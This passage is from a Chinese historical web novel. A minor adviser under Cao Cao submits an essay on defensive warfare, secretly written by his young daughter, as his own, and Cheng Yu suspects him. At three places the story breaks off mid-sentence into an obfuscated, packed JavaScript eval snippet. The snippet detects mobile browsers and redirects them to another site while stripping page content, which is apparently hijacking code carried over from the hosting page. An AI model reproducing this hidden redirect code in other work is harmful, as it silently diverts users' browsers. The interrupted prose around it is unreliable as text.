这一晚上,大屋的灯光下半夜亮了一宿。 翌日,金无涯发现,在饭桌上,有一份写好的竹简,本以为是自己随手落下的文章什么,仔细一看,才发现不是自己的字迹。 那字迹看似小巧隽秀,笔锋的边边角角却透着点潦草的张狂劲儿,但因笔力缺少劲力,使字迹看起来像没什么锋芒,过分软和,甚至有点孩童习字的稚感。 想到孩童,他连忙问大儿子二儿子,问这是不是他们写的,大壮二壮忙着吃饭,随意瞟了一眼就摇头说不是。 金无涯停顿,他忽然意识到,谁写的不重要,重要的是这竹简上写的内容是论防战啊! “用兵之法,无恃其不来,恃吾有以待也,无恃其不攻,恃吾有所不可攻也……” 11.春风 “善守者,藏于九地之下。善守者,敌不知其所攻。” “虽守则弱,然布画深远,措置得当,只待时机,西风亦可逆转东风,乘风而起,反攻之。守者,若不思攻取,只意在自保,与待屠牲畜无异。善战者,必弱时守,强时攻,攻则胜,其势必成!” 一大早,金无涯心不在焉地吃完了早饭,手里攥着那份竹简,脚步几乎是飘着地从家中走出去,连身后老妻喊他叮嘱要与上峰请罪的话都没听见,听见了也没心思去做。 他进了府衙径自坐在自己案桌前,就再没动过,旁人喊他跟他打招呼,甚至用昨天发生的事嘲笑他,喊他最痛恨的土名金铁锤,他也没理会,通通都不理会!一心沉浸在那份竹简里。 在家中时来不及细看,只浅浅看了个开头,金无涯已经有种如握宝书之感,心中隐隐地激荡,这是任何一个读书者看到一篇好文章都会有的反应,无论他是否有真才实学,看书总能看得懂的! 坐下来金无涯就细细读了起来。读第一遍时只是粗略过一遍,倒不是说他囫囵吞枣地随便过一眼,而是压根没太看懂,其中道理逻辑战略分析,他没能在第一遍的时候就理清楚,只能把每个字都映入心中,看了个全篇。 于是他开始读第二遍第三遍……这时候就仔细读,好生读,细细过脑,才稍有领悟,可仍然还是没能完全看明白,金无涯长叹一声,对自己的笨拙有了更深的认知,于是他便一遍又一遍地看下去。 “故而防御之战,贵在三点:其一,布防。无恃其不来,恃吾有以待也,无恃其不攻,恃吾有所不可攻也。此为地基,备战也。为将者,非必胜不打,非有备不打,地基当牢固,谋虑当深远。将之令,关乎万千军民生之所在,故而上位者应一虑二虑再三虑,非要时而不妄动,非强时则就地基,只待春风化作龙。” 金无涯一遍遍地看下去,直至完全沉浸于其中,甚至不自觉地小声念出来。 “其二,声势。兵者,诡道也。势之一字,当分内外……” “其三,地利……” 这时候旁边的同僚看他和往常不太一样,又静静坐着动都不带动下,嘴里念念有词的似乎在看文章,便凑过来问:“一早上看什么呢这么入迷?” “这是你写的文章?可是关于程公下的考题“防”之一字的文章?” “唉,你说程大人想什么呢,为何突然出这样的题目,叫我昨晚上到今天抓秃了脑袋还在思索,愣是没想出什么好的点子。我连夜翻了很多兵书,怎么攻的写了不少,怎么防御的却少之又少,你看兵之大家孙子对于防御也几乎不谈。子归你写了什么,叫我看看?” 相隔甚远,他视力不好,没看清竹简上的内容,但隐约听他念叨的些许字眼似乎也有意思,便要伸手过去拿来瞧瞧,一只手猛然按在了他的手上! 只见金无涯脸色难看且严肃,隐约有一种说不上来的敌意,仿佛他若是再妄动下去,将那竹简强行拿走,他就会跟他拼命,会不惜一切代价剁了他的手! 他感觉自己身上鸡皮疙瘩都要起来了,忍不住把手伸回来在双臂上来回搓了搓,翻翻白眼斥骂道:“没毛病吧!金铁锤!不就是一篇破文章吗?我看看怎么了?难道你以为就你那水平也能写出什么惊世大作?还是你以为我真稀罕你那破文章?” “今日申时就要交上去了,离现在也不过几个时辰,你还能折腾出什么花样来?我看这次被逐出府衙大门的非你莫属!” “哈哈哈,金铁锤干什么蠢事了?咋滴又惹你了?”旁人不知道为何这个人突然发难,这边的动静顿时把其他人目光吸引过来了。 他就气道:“我不过是想看看金铁锤今天一大早到现在动都没动过在看些什么,结果这厮一副防贼的姿态,真是竖子不足与谋!给脸不要脸!” “哈哈,你看他的干什么?多半是些草包废话之流,还能写些什么有建设性的东西不成?小心被他带进沟里!” “金铁锤,你兵书看不看得懂?孙子看了几篇?吴子可懂?兵家之要什么?” 有人看不下去,维护道:“你们就别再嘲笑子归兄了,他好歹也是读书人,自然是读过兵书的,何况马上考核就到了,万一子归兄真的被逐出帐下,你们再这样刻薄也不好,好歹大家同事一场。” 金铁锤一直埋着头,那份竹简被他盖在桌子上,低着头闭着眼睛回忆上面的每一个字,他看了许久,很认真地看,虽难说全得其真意,然而却心生震撼恍然之感。 他满脑门的心思都在这篇文章上面,上头的每一个字都像一个个金光闪闪的火烛落在他心头上。 即使金无涯觉得自己记忆力不算好,平常也足够笨的,可这会儿却有种安定之感,或许是被这篇文章上面所书的每一个字影响到了,或许是被这篇文章的气势所震慑,他觉得自己现在安定得可以默下这篇文章! 于是,他闭了闭眼睛回忆,就开始研磨写字,将这篇文章全数默在另一份空白的竹简上,随后两份对比,竟无一个错字。 金无涯翘了翘唇角,心里大感满足。至于旁人的话语,早如噪音般被隔绝在外,似乎一个字也没听进去,这会儿停下来,再细想,也想不起刚才发生了什么。 他好像,一直在看文章,之后默写下来? “金无涯?” “金无涯!” “金无涯……听见没有,叫你呢!” 经旁人提醒,金无涯才恍惚回神,看向大门,只见姓白的从事趾高气昂地站在外头,背着手说道:“金无涯!程公命你即刻去打扫府衙大院,前后院大厅小厅还有茅厕都要打扫干净!不扫干净,今日不得下值归家!” 小厅里,众人都同情地看向金无涯。罚扫不可怕,可怕的是在正当要考试前的当口,现在把金无涯叫去打扫,而且还是把整个府衙前后都扫一遍,光他一个人,可能要扫一天,甚至一天都干不完,这还有时间写文章? 何况那文章题目那么难,到现在还有好几个没写好,就指着今天申时前这点时间写了。而金无涯的道行才学比在座的任何一个都浅得多,你让一个差生不备考还剥夺了他答卷的时间,是诚心想让他死不成? 无论金无涯平时多窝囊多不起眼多讨人厌,这会儿同情他的还是占大多数,要是换自己代入想想,都要窒息了,太可怕了。 众人同情地看着金无涯直愣愣地站起来,向外走去。虽然他身板挺得直直的,气势似乎也并不萎靡,可总觉得他背影有种风萧萧兮易水寒,壮士一去兮不复还的悲壮感。 这是要死刑了吧。 这是铁定要完了。 程公是真的一点点机会都不给啊! 众人都在猜测是不是金无涯之前拿考题来骗人被程公知道后,对他的惩罚,换作荀彧或其他大人可能不会计较,可程昱是真的眼里容不得半点沙子的,算是犯到头上了。 金铁锤这厮怎么让人感觉又活该又同情呢! 金无涯心里已经把程老贼来来回回骂了个百八十遍!他比任何人都肯定,程老贼这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100563|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厮绝对绝对是故意的!是在故意报复他,是故意给他小鞋穿! 仔细想想,要不是今天早上他发现了那篇文章,又因为那文章写得太好看得太专注入迷,还下意识给默写下来,这次考核他绝对逃不过要交白卷放空炮的命运了,这样一来,程老贼也正好顺势把他逐出去,半点借口都不用找的,甚至于他将来要找荀彧做主再回来也很难。 程昱老贼果然是只阴险又讨厌的老狐狸! 手里挥舞着扫帚,灰尘落叶满天飞。不过小半天,金无涯已经累得直喘气,索性坐在地上休息起来。今日日光足够大,太阳光照在身上暖洋洋的,他心里的气也消下去几分,舒缓很多。 直至此刻,他才有心思琢磨那篇文章最重要的问题,这篇文章到底是谁写的,这份竹简是谁放在他家堂屋饭桌上的呢! 他家就五口人,老妻不识字,定不是老妻,二儿子虽然得长兄教导,也识字,却是一个实打实的只识字不识文章的半文盲,以他性子,就算多读几本书,也断不可能写出如此深刻的文章。 而大儿子……他认真思索了下,大儿子是他一手教出来的,从启蒙识字到读书和圣人道理,然而就算大儿子再聪颖,也只是幼时学了几年,算不得精深博学,勉强称为半个读书人。 何况他觉得以大儿子憨厚正直的性格,似乎也不是这文章的风格。 这文章给他感觉,就好像一个博学且认知深刻观点犀利的老谋士,甚至这人风格甚为狠辣霸道,言辞间的或许他已经尽量用平淡理性的口吻来克制骨子里的凶狠侵略,可越是这样越隐隐有种背脊发凉之感,他或许也非刻意压制,只是这样不经意的口吻,更让人感觉可怕。 现在摆在金无涯面前的只有一个选择:这篇文章,他该不该作为他自己的考核文章交上去? 金无涯并不考虑这样做可不可耻,他的目标只有一个那就是把这份饭碗保下来,他清楚自己的能耐,也知道自己胸无大志,只要能够苟下来,在如今相对安全稳定的曹公帐下安心地做个小小幕僚,有一份差事做,有一口饭吃就好了。 何况如今老妻和孩子们来投奔,更加不能丢了这差事,他自知自己没半点能耐,也无体力技术去民间找活干,去到哪儿都活不成,更别提养家糊口了,只怕到时候还要拖累老妻大儿。 所以从始至终,他考虑的点只有一个。 交不交,交的风险大还是不交的风险大,两者权衡利弊。 不交的话,如了程老贼的意,顺利把他搞走了,从此皆大欢喜。而他丢了饭碗,凄惨度日,无力养家,后果之重可想而知,最严重的是在鄄城里没有一份正经差事会被赶出城去,那样的话,外面兵荒马乱的他们一家该何去何从? 交的话,最大的问题不是露馅。 在金无涯看来,最凶险的莫过于这文章背后之人。 一个能把防御之论写得如此老辣霸道充满凶狠吞噬之意的人,恐怕此人性格就难以招惹,更别提手段,若是把他这个文章当做自己的献上去了,被知道后,背后那凶狠霸道之人会不会寻来把他杀了? 直至日落时分,金无涯捏着鼻子把最后一个茅厕扫了。文章的最后一句话,仍然像一把架在脖子上冷光粼粼的利剑,让他心生震撼匍匐之感。 以至他这样为了生存不要脸面也毫无羞耻心之人都不敢妄动。 “吾以春风来,驱敌不得趣,胜必反吞之!声势震九州,是敌莫不从。” 最后又睥睨地叮嘱:“庸者当慎之。” 12.上交 这是说,如果是她的话,她觉得光是防守打跑敌人还不算真正胜利,还太寡淡无趣了些,她在胜利之后必会乘风而起,将来犯者毫不犹豫地吞吃入腹!绝不给逃回的机会!如此就可以竖立巨大的威信,大大震慑周边所有敌人!使周边任何敌人都不敢轻易来犯! 然而却说,最后一步反杀,平庸者无智无勇无谋者,应当好生掂量自己的斤两,别做有的没的多余的事情,否则可能反丢胜果,赔了夫人又折兵。 这是何等骄傲!何当狂妄!何等傲慢!何等的瞧不起人啊! 太太太太嚣张了! 太太太太可恨了! 可怎么偏偏有一种该死的激荡人心的兴奋感! 所以他到底是谁! 这篇文章他到底该不该上交呢? 交与不交这个问题并没有轮到金无涯来做主,因为无论他如何纠结都没用了,他忘了时间! 上头规定了申时前上交文章,而现在日落时分早已过了申时,金无涯绝望地放下扫帚,跑着过去小厅,这会儿多数人已经离开了,只剩下一个平日和金无涯不太熟悉的人,金无涯问他人呢,文章收走了没? 那人不知是不是文章写得不好,情绪不高,看了他一眼,怏怏道:“收走了早收走了。” “那我呢?我还没交呢!” 那人笑了笑,似乎是觉得好玩也觉得同情,带着讽刺意味的同情道: “你那份,周兄帮你交上去了,就你早上写的那份,当时你不是不让看吗?他说你写的这么认真这么好,当宝贝似的,不交上去可惜了,所以就替你交给白从事了。” 金无涯感觉脑子翁的一声,他赶紧跑回自己的位置上,从桌案下的筐子里找出一份竹简,秉着呼吸拆开外面捆绑的细绳,打开一看,顿时大松一口气! 这份是今天早上饭桌上那份,而他默抄下来的那份不见了,应该就是被交上去的那份。只是那人不知有没有偷看,他离去前,有惯用绳子将写好的竹简捆绑好,以免松散,如果不刻意拆开,应该看不到。 金无涯一想,应该是没看,若看了,那么精彩绝艳的文章应当会当即传开,而且以那厮对他的敌意,也不会把这样的文章交上去! 金无涯肩膀耷拉下来,忽然感觉松下一口气。交了就交了吧,也好,也罢。总归是要有一死的,是程老贼落刀还是写这文章的狠人落刀并无区别。 他干脆背着小手,晃晃悠悠地回家了,也不知道老妻今天做了什么好吃的。几个孩子有没有乖巧听话,有没有给爹娘惹事。今天起床时,似乎没有看到小闺女,那孩子昨晚陪他熬了会儿夜,身子又不好,定是在补觉起不来。也不知道有没有着凉,干脆路上带几块姜回去熬汤给她喝。 今晚就甭想了,好好松快,好好吃个晚饭,陪老妻儿女说说话赏赏月,待明日再说。 到家后,金无涯瞅眼老妻,没啥反应,瞅两个儿子一如往常,瞅小闺女眼下似乎有点青黑,精神也萎靡不振,坐在宽大的椅子上,那椅子不知道被谁细心地铺垫上了软和厚厚的垫子,连椅子的把手都奢侈地绑了两块粗布,似是怕坐的人着凉。 能干这种事的无非是把妹妹当闺女疼的大儿子或者孩子娘,小闺女有多娇惯他再一次认识到了。看着小闺女一双大眼睛下的青黑,他走过去,摸摸问道:“小阿藐,昨晚是不是阿爹害你没睡好?” 金藐看着他,毫不犹豫地点点头。为了给他写那份文章,她熬了半宿,天亮前才睡,以她的身体状况,没晕算不错了。 金无涯顿时愧疚,摸摸她的头,“是阿爹不好,下回不起夜看月亮了,吵得小阿藐也睡不好。” 金藐没解释,只是多看了他几眼,见他脸色并无异常,应当是文章交上去了,但暂时还没结果,所以没有什么特殊的情绪。昨夜他说今日申时交,想来应是得明日后日这两天才有结果了。 金无涯从兜里掏出几块姜,“瞧,这是兖州特有的大姜,味儿够呛,辣着呢,正所谓辛辣驱寒,阿爹看你身子弱,不知道昨夜那样会不会着凉,等会儿吃完饭,叫你阿娘给你熬碗姜汤喝。” “阿爹,姜虽散寒,却活气升阳,夜间阴升阳降,为身体休生养息之时,不宜食姜。” 金无涯看着小闺女认真的眼神,抽抽嘴角。将姜收起来,“好……是阿爹没常识,我们小阿藐懂的可真多。” 金二壮从旁边路过,少年大大翻了个白眼,“你不知道的多着呢,你以后就知道这小病秧子多精了。” 金无涯怒瞪二儿子,“你怎么可以叫你妹妹小病秧子,你是怎么当兄长的!” 金二壮理直气壮地说:“首先,我是二兄,不是长兄,其次,我就是跟这小家伙八字不合,怎么着吧,把我赶出去?” “二兄也是兄!为兄者应当对幼小者爱护关心,你再对妹妹无礼,阿爹就收拾你!” 少年把脑袋伸过去,向上伸着半张脸,桀骜挑衅:“来啊,怎么收拾?我就站这里,任你收拾!” 金藐顺手把桌上一壶茶往他脸上倒,少年煞时如炸毛的球儿原地蹦起三尺高,死去活来地怪叫,一副要跟幼小的妹妹拼命的样子。金无涯没经历过儿女吵架的场面,当真以为二小子烫伤了,吓得不知如何是好,他赶紧担心地过去把他手扒开,结果一看,脸上半点红印也无。 小闺女坐在宽大的样子上,两只小短腿安分地伸直着,面无表情平静地捧着茶杯玩儿,似乎早有预料,也似是在等待跳梁小丑开始他的表演。 金无涯:“……” 金大娘端着一盆汤从走过来,慢悠悠开口:“金铁锤,这回你总该知道了吧,我和大壮日子有多不好过,这两个小的多不好搞……这还是小场面,藐儿都没生气呢,等小藐儿给她二兄来点真的,你就更明白了,什么叫为人父母当爹当娘的都欠儿女的债。有句话怎么来着,再坏再难都不是事儿,经历多了你就习惯了,反正有你这个当爹受的。” 金无涯:“…………!” 一晚上好像平静又好像不太平地鸡飞狗跳地过去了。 第二天一早,金无涯蹑手蹑脚地走进府衙大门,再左看看右望望,心绪不宁的状态维持了一早上,和昨天目中无人安定自在的平静感判若两人,他甚至和昨天擅自交他文章的人吵了起来,吵得脸红脖子粗,险些没有打一架。 金无涯还是决定,假如真的被开除,好歹走前得先把这人揍一顿再说。他交与不交关他屁事啊,竟然擅自动他东西,简直没点道德了。 道德一点没有却希望别人有的金无涯度日如年地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108852|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挨过一整天,直到下值回家也没等到上面大厅的人来传话。 程昱是还没有看这些考核文章吗?还是说有什么变故? 程昱的确还没看,荀彧出巡,暂时不在城中,其他人多半随主公出兵徐州了,而他现在总领整个兖州事务,每天忙得脚不沾地,哪有多余时间做别的事。 昨日文章收上来后,就让仆从搬回府中书房,他白日要做的事太多定是没时间看的,只能等晚上,昨晚上又因公务加班没看,打算今天晚上在书房里把这些文章都批阅一番。 晚上吃过饭后。 程昱坐在书房里,泡着热茶,翻起了桌上一堆竹简,这些都是考核写的文章,约莫十来份。其实防这个考题,是他心血来潮,也是冥冥中对应时局有意为之,近来他总有种挥之不去的焦躁之感,隐隐察觉要发生点什么,哪怕现在看起来兖州状况一切安好,鄄城似乎繁华安定,并无不妥之处。 但他并不太指望真的能从这些纸上谈兵或东拼西凑只为应付考核的文章中得到真正有用的高见。反正出什么考题都是出,倒不如学荀彧随意撒撒网吧。 花了几乎一整晚的时间,程昱眼皮子都快睁不开了,热茶也无用了,还剩下三四份没看,仆从劝他早些歇息,剩余几份明日再看。 程昱捏了捏眉间,还是决定看完,他这人有一个毛病,就是一件事要是开始干了,就会一口气干完,要做就做彻底了,不喜欢拖延至第二日,那样比杀了他还难过。他不但对自己这样要求,待别人也是如此严格。只是这样雷厉风行的强硬风格,有时过于咄咄逼人,难免不招下属同僚待见。 倒数第二份时,程昱挑了挑眉,这上面的署名是一个近来让他不得不印象深刻,甚至闲时还会想起的名字,那个叫做金铁锤的金无涯。 不知为何感觉忽而精神些了。虽也不觉得这草包能写出什么文章来,他仍然好奇这货在被他剥夺了几乎一整日时间后,还难得交上来文章,到底能写出个什么鬼来。 翻开竹简,只在数十息之后,他忽而眉头皱起,面色严肃,坐直了身体,双手捧着竹简,呼吸加快了些。 老仆感觉奇怪,不就是看份文章吗?府衙小厅里那些个书呆子能写出个什么鬼来,又不是大厅的那几位,值得老爷这样对待?平常老爷这样的姿态表情,也只有在做重大决策或看至关重要的军情政务时才有的。 难道这篇竹简里写了什么了不得的东西让老爷这样慎重以待? “故而防御之战,贵在三点:其一,布防。无恃其不来……只待春风化作龙。” “其二,声势。兵者,诡道也。势之一字,当分内外。” “于内,军民以为呼!其势在我!士气大增,是以不生内乱,众志成城!于外,以小示大,以弱示强,虚实难辨。动摇其心志,犹疑不知其所然。遇虫以为龙,撞石忽见山。畏葸退为上,或战且迎,凡疑者必失先机!声衰而势竭,战局即变!动生乱,静已待,相逢何惧哉?” 他忽而感觉口渴,目光盯着竹简不放,随手端起茶饮了口,却被老仆从刚刚泡好倒上的茶水烫得嘶咛一声。 茶杯啪的一声摔碎在地上。 老仆吓得跪在地上磕头,听见他家老爷高喝: “好生狂妄!!!” 13.亲来 “其三地利。守者,地利之重为根本,乃守利于攻之要。守虽被动,然地利如遮蔽羽翼,利于善变,以静制动,以弱胜强,以毁小而退敌。” “此三要点,慎思之,善行之。守能胜攻,弱亦胜强。” 仆从在一旁磕头认错,吓得浑身颤抖,程昱已经顾不得了,他全副心神都被这篇文章的内容吸引进去了,目光越来越发亮,这篇文章不但写了观点新颖的防御三要,且还少见地分析了攻防之战的利弊、战略等,让他如渴饮甘泉。 唯独遗憾的是其中未细谈具体战术,让他有些遗憾,那种迷雾中隐见金山若现,却不得窥其金山全貌的抓耳挠腮之感。 可读至那句似是随笔添上的玩笑话,却让他忽然狂笑出声,好不快哉! “好一个春风化龙!竟自诩春风!好一个胜必反吞!竟霸道如斯!” “最有趣在于这句庸者当慎之!到底是何人如此狂妄!” 他再度看向文章的署名——金无涯。 他随即叫人把金无涯过往的文章翻出来,内容实在不堪入目,但程昱要确认的是金无涯的字迹,他确认了这份竹简上写的字迹的确与金无涯过往写的字迹一模一样,没有作伪的痕迹。 那么问题来了,金无涯能写出这样的文章?金无涯有这样高深的见解?金无涯有这样凶戾睥睨天下的气势? 金无涯那张俊美苍白的脸浮现在脑海里,和欺骗人的俊美长相成反比的是他平常唯唯诺诺的窝囊样,还有最近越发厚颜无耻的无赖样。 程昱冷哼一声,一掌拍在书桌上,砰砰作响! 他绝不相信金铁锤这厮能写出这样的文章,竟敢抄袭他人文章来应付考核!可见这厮胆儿太肥了! 如果是平常,程昱本该生气,派人去把金无涯捉了,押进牢里等待发落,可这会儿他发觉自己竟其实也没那么太生气。他甚至庆幸金无涯没分寸地盗用他人的文章,把这篇防御论交到他跟前来,否则他也没能看到。 现在他只想把金无涯叫到跟前来,问问他到底是从哪儿得来的这篇文章,写这防御论的到底是哪一位大才,将他引荐到他跟前来谈谈! 从头到尾,程昱都没想过这篇文会出自金无涯之手,他已然完全地否决了这种可能性! 程昱几乎不假思索地吩咐道:“派人去攒竹街狗儿巷找金无涯,把他找来府上,我有话要问!” 老仆从为难地看看沙漏,提醒道:“老爷,时候不早了,已经子时了,这会儿怕是人家已经睡下了,您不如等明日到了府衙再传来问话?” 程昱本能地不想答应,就想现在就找来金无涯,把他脑子里所有疑问通通问个清楚!但他知道老仆说的是对的,这会儿金无涯一家怕是早早歇了,周围百姓们也都安睡,要是强行让人去敲门带人,只怕会扰民。 最好是等明日再问话了。 这一晚上,程昱把最后一份文章随意地看了,最后将除了金无涯那份,其余的到底都堆叠一起归置了。 单独捧着金无涯那份竹简,回了自己寝室,上了床点着烛火,捧着竹简还在看,看了好几遍,直到他夫人看不下去,把那竹简收走了,他才肯好生躺下睡觉。 这一晚上当然是睡不好的,满脑子都是那篇文章的内容,那文章到底何人所作的疑惑,第二天顶着两个大黑眼圈,一大早就出了府。 金无涯推开小厅大门,发现里面异常的安静,和往日的吵闹不同,有同僚在给他使眼色,金无涯直觉不太好,该不是程老贼派人来……他蹑手蹑脚地进去……发现程老贼本人就正坐在他的座位上! 他甚至冲他意味不明地笑了笑,金无涯理解为挑衅戏弄的笑,他定是来找他算账了! 金无涯在心中翻起自己的小本本,是为了前几日得罪他的事,还是为了文章的事?想想可能是后者,他自认为他还没有那个本事引得这老贼亲自前来,只有那篇文章才能引动他! 金无涯拱拱手,“程大人,您早上好呀,吃过没?我这还有一块饼子,我夫人早上做的我还没吃完呢,留了一块给您?” “对了,程大人,这是我的座儿,您走错位置了?” 在场诸人都对金无涯投入佩服的眼神。这厮竟然敢在程公面前这边如此自在胡说八道,看来传言不假,金无涯背后的靠山很可能就是程公大人,他当初以他这般拙劣水平能混进来,果真也是走了程公后门。只是为何考核当日,程公却不让他有时间写文章,难道另有打算? 程昱静静地看着金无涯。 静默了会儿,方说:“金铁锤。” 金无涯立刻站好,站得笔直端方,“在呢,程公您有事您直说。”只要不一言不合把他逐出去,什么都好说。 其他人听见程昱喊金无涯金铁锤,一个个都忍不住噗嗤一声笑了出来,果然程昱大人从前就认识金无涯,同他定是旧识! 程昱咳了声,在场便安静下来,他掏出一份竹简递给金无涯。“这篇防御之论是你写的?” 他目光如炬地盯着金无涯,眼睛不眨也不挪开半点目光,金无涯感觉到一股压力自他那边而来,他顶着这种压力和众位同事好奇的目光,想了想不要脸地说道:“是我写的呀,您看,这是我的署名,还是我亲手写的笔迹,总不会错吧。” 程昱发觉还是低估这厮的厚颜无耻了,“吾是说,这文章是出自你之手,上面所说观点言论每一个字都是出自你的想法?” 前头虽说“写”这个字确实有钻空子的空间,因为写可以说是他亲手抄写,却不一定说是文章是他所创,但程昱这会儿直白切入的问话,却无法含糊逃过了。 不过既然一开始就敢冒充,金无涯也不会半途而废,现在就跪下来求饶说不是他写的,他就是要死撑,要恬不知耻地装到底,只有这样才有一线生机。 因为就算再不相信,程昱只要好奇,只要想找出文章的背后之人,必定会留他一条苟命,这样一来这个月的考核他必定能够通过,所谓苟道就是苟得眼前三两生机,唯有幸存才能谈以后。 反之若是当下认了这文章不是他写的,一来他交不出真正背后写文章之人,二来,当众承认,无论程老贼处不处置,他都再无转圜的余地,这不符合他的生存之道。是以,这是唯一的选择。 他毫不犹豫地点头承认。 在场诸人有些好奇了,这篇文章写的是什么,会令程昱亲自前来小厅问话,莫非是这厮作弊了?那日他也压根没时间写文章,竟然还能交上去? 帮金无涯交上去的那人顿时后悔了,他应该拆开看看再交的,那天他也不知道金无涯写的什么,只以为在乱写什么,而过程中又被叫出去,想来就算写的是关于防御的文章也写没完全,哪怕写全了以这厮的水平也是没法看。 基于此,他才故意帮金无涯交上去,想让他出丑搞砸考核,被程公赶出去,却没想到程公会因为这篇文章亲自前来。看样子,文章很有可能非但没有写坏,反而相当出彩才能引得程昱前来,否则以他的眼界和忙碌,哪会因为这点小事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“告诉我,子归兄!你都看过什么书!这上面的所有见解都是出自哪里,是你自己的观点吗?我还有许多不解之处,你能否解答!比如你文章上面说就无备不战,那如果敌人突然来袭来不及做准备应当如何?还有这个防御之道,防胜不胜,攻占为胜……” “子归兄,如今我才知道先前竟是小瞧了你!我也有许多疑惑想要求教。” 金无涯猝不及防被一堆的人包围了,看着他们提出这个问题提出那个问题,他心里大感佩服,这些人不愧都是有才学之人,似他看文章好几遍也才稍微领悟些意思,更别提能够完全读懂文章并且提出具体问题了,可见这些人肚子里都有真货,唯有他是水货…… 程昱静静地看着这副场面,他细细地观察着金无涯每一个表情,每一个反应,面对以前对自己看不上的同僚们在对自己虚心求教,真诚夸赞敬佩,他会有什么样的反应?会不会因此流露出蛛丝马迹? 反应是没有的,金无涯心里眼里唯有对真才实学的同僚们的佩服,他被挤在人群中,险些都要呼吸不过来了。 等他好不容易从包围圈里挤出来,就听白从事冷笑道:“你们还真被周兴丛带偏了?金无涯你们又不是第一天认识了,他哪能写出这样的文章?定是抄别人的!想必程公亲自前来也是有所怀疑!金无涯你快老实交代,你到底是抄了哪位大能的手稿!赶紧坦白从宽!” 人群冷静下来,有人说道:“这样的文章,莫说金无涯,就算我等小厅十数个人也没有一个能写得出来……此人才学见识气魄都非同一般,恐怕也只有大厅那几位才能与之相比,咳咳当然包括程公大人!” 程昱:“……行了,看完就把文章交上来,别弄坏了。” “金铁锤,你跟我走,我有些话单独问你。” 于是金无涯就老老实实跟在程昱身后离开,小厅里十数人就没法平静了,他们不约而同地奔向同一个人。 14.谁写 “柳卜童!你记下没有!快把文章默写下来,叫我等抄写一遍!” 柳卜童,一个才学或许不算出众,但记忆力非凡的才子,他看文章只需一两遍便能记住,是传说中的过目不忘。 只可惜他悟性差了些,为人较呆板保守,也无心机城府,因此在人才济济的曹氏阵营里排不上号,别说进大厅,在小厅里也只能算中流。 他之所以被吸纳进来,也因这过目不忘之能,这能力在某些特殊时候,还是很好用的。因此在小厅众人眼里,他虽悟性差才学不甚出众,地位却相当稳固,属于全小厅都有可能被开除,只有他地位固若金汤的绝不会丢饭碗的神人。 柳卜童点点头,他早已摊开了空白竹简,一个字一个字地写下来。 众人顿时大喜,纷纷围拢过来等他写完。 这空档也不免有人叹道:“守而思取,胜而寡味,唯有将侵犯之敌反吞杀才满足,这是何等大气魄!” 他们想到金无涯平常唯唯诺诺一副苟活的模样,顿时一阵沉默…… ———— 府衙大厅,金无涯过去两年来得少,这些日子不少来,但专属于大谋士们的书房他却是从未进去过的。 这里对于所有小厅谋士来说都是传说中不可踏入的神秘区域。相传大谋士们书房的门一旦关上,任何人都不得擅入打扰,否则视为奸细,可直接处置。 有一回,一个小文书不小心闯入其中一间书房,里面不知道在密谋些什么,当场被夏侯将军一剑斩杀,连半句话也没问。 从此以后,这里就成了让人望而生畏的地方了,小厅十几个谋士有时私底下会偷偷议论,没准大谋士们在里头翘腿抠脚睡大觉,反正门一关上,谁也瞧不见,也不敢开门去看。 话虽如此说,这对于他们来说,仍是一种极致地位的象征,只有主公手底下的几位顶级大谋们才有这样的待遇,其他人想都不要想。 金无涯这样的末流小虾米也难免对这里敬畏仰慕,心生好奇。踏入的同时,眼睛不闲着,左右瞧了瞧,其他书房主人不在都紧闭着,而程昱的书房独占北角,门口摆了一盆高大的盆栽,眼下新春刚抽出点嫩叶。 这盆栽不知是何种植物,枝干粗壮而笔直,叶片小而精巧,单看似乎都还行,放在同一棵小树苗上却有些怪异,也不知道程昱怎么会喜欢。 程昱的书房陈设简单古朴,唯有一面书架,一张书桌,和几套茶桌椅,甚至连插花摆件也无,可谓极简。不过窗台旁有一个放置刀剑的兵器架子,上面架了一把剑,金无涯好奇问:“您是文人,放一把剑做什么?” 程昱撇他一眼,“倒是话多,有这么多话,不如老实交代。” 金无涯立马就闭嘴了。他端端正正地站好,站姿极其地端正乖巧,配合上他那张看得去的俊美脸庞,倒有几分人畜无害感。 程昱不吃他这套,他心知这厮多么厚颜无耻,灵活狡诈,他的外表和说出来的话是一分不能信的。 仆从进来,擦了桌子,奉上热茶随后告退。 这该死的仆从,也不知为什么这么“懂事”,退出去后,不用程昱吩咐,他已随手关上了书房大门。 吱嘎一声,屋内的光线瞬时昏暗下来,气氛一时静谧,还略有一丝阴森。 金无涯小声开口:“您要不要开个窗……” 程昱不答不说话,甚至也不看他。 金无涯忍不住道:“要不然您点个烛火?” 还是没说话,金无涯彻底没辙了,他心里寻思着这程老贼想干啥呢?是想用这套来逼供他?等到他压力山大的时候,就会忍不住招供? 那可真是想太多了,他金无涯为了能苟,他啥都能忍受,何况区区黑暗。这招无声威逼当真对他不起作用。 过了小半盏茶,金无涯感觉程昱的视线忽然看向他,直直地盯过来,像是要将他灼穿。 